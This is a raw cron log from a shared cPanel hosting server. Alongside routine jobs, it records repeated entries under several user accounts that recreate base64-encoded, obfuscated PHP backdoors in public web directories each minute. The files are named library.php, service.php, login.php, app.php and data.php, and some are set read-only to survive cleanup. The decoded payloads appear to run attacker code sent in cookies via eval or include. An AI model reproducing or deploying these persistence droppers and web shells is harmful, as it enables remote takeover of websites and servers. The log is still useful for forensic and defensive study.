Mar  2 09:21:01 medusa CROND[7318]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:21:01 medusa CROND[7319]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:21:01 medusa CROND[7320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:21:01 medusa CROND[7321]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:21:01 medusa CROND[7323]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:21:01 medusa CROND[7333]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:21:01 medusa CROND[7334]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:21:01 medusa CROND[7336]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:21:01 medusa CROND[7339]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:21:01 medusa CROND[7341]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 09:22:02 medusa CROND[27689]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:22:02 medusa CROND[27688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:22:02 medusa CROND[27690]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:22:02 medusa CROND[27692]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:22:02 medusa CROND[27691]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:22:02 medusa CROND[27694]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:22:02 medusa CROND[27693]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:22:02 medusa CROND[27695]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 09:22:02 medusa CROND[27699]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:22:02 medusa CROND[27702]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:22:02 medusa CROND[27703]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:22:02 medusa CROND[27717]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:22:02 medusa CROND[27716]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 09:22:02 medusa CROND[27719]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:23:02 medusa CROND[10438]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 09:23:02 medusa CROND[10439]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:23:02 medusa CROND[10441]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:23:02 medusa CROND[10440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:23:02 medusa CROND[10442]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:23:02 medusa CROND[10443]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:23:02 medusa CROND[10446]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:23:02 medusa CROND[10457]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:23:02 medusa CROND[10458]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:23:02 medusa CROND[10463]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:23:02 medusa CROND[10465]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
